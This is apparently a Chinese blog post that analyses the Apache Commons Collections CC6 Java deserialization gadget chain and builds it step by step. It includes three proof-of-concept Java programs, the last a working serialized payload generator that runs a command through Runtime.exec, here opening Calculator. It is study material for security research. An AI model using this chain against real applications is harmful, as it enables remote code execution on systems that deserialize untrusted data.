CommonsCollections6利用链分析

前言

越来越摆了,纪念我啥也没干的一周

分析

这条链不受jdk版本限制而且和URLDNS那条类似(抽空又去看了一下。

借白日梦组长的图和yso

image-20221127162523605

image-20221127162755325

它和CC1后半部分是一样的,调用LazyMap.get然后ChainedTransformer.transform()

主要前面是利用HashMap.put,然后我们之前分析过urldns链知道,它会调用hashCode方法。再去调用这个LazyMapget

而作者这里就找到了一个TiedMapEntry类,我们可以跟进发现,他的hashCode调用了getValue方法

image-20221127163257799

再跟进,就会发现这里调用了一个map.get,而这个map我们传入为LazyMap就完成了整条链的利用

image-20221127163350775

我们尝试编写POC

public class CommonsCollections6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap1 = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap1, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lnk");
HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap2.put(tiedMapEntry, "qqw");


serialize(hashMap2);
//unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object object = ois.readObject();
return object;
}
}

这样我们知道其实是不行的,因为在urldns那条链里我们就发现,它在put的时候就已经走了hash方法,所以在序列化的时候就已经执行了,并没有到反序列化。

image-20221127164226385

这个问题的话,我们就可以改前面的LazyMap,然后利用反射去改回来

如下

public class CommonsCollections6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap1 = new HashMap<>();
// 防止序列化的时候调用
Map lazyMap = LazyMap.decorate(hashMap1, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lnk");
HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap2.put(tiedMapEntry, "qqw");

Class cls = lazyMap.getClass();
Field factoryField = cls.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

serialize(hashMap2);
//unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object object = ois.readObject();
return object;
}
}

这样的话,在put就不会触发调用了,序列化的时候改回来就可以了。

但是我们在反序列化的时候,发现这样也没有执行。我们在put下个断点debug看一下

我们一路跟到这里会发现,LazyMapget方法首先会判断这个key是否存在,如果不存在,它也会执行一个put,把我们这个key存进去,所以在反序列化的时候,这里就已经有这个key了

image-20221127165006001

这个问题我们只需要remove掉原先的那个key就好了

最终的POC如下

public class CommonsCollections6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap1 = new HashMap<>();
// 防止序列化的时候调用
Map lazyMap = LazyMap.decorate(hashMap1, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lnk");
HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap2.put(tiedMapEntry, "qqw");
lazyMap.remove("lnk");

Class cls = lazyMap.getClass();
Field factoryField = cls.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

serialize(hashMap2);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object object = ois.readObject();
return object;
}
}

image-20221127165454157

CommonsCollections6利用链分析

https://lhxhl.github.io/2022/11/27/CC6/

作者

秋秋晚

发布于

2022-11-27

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...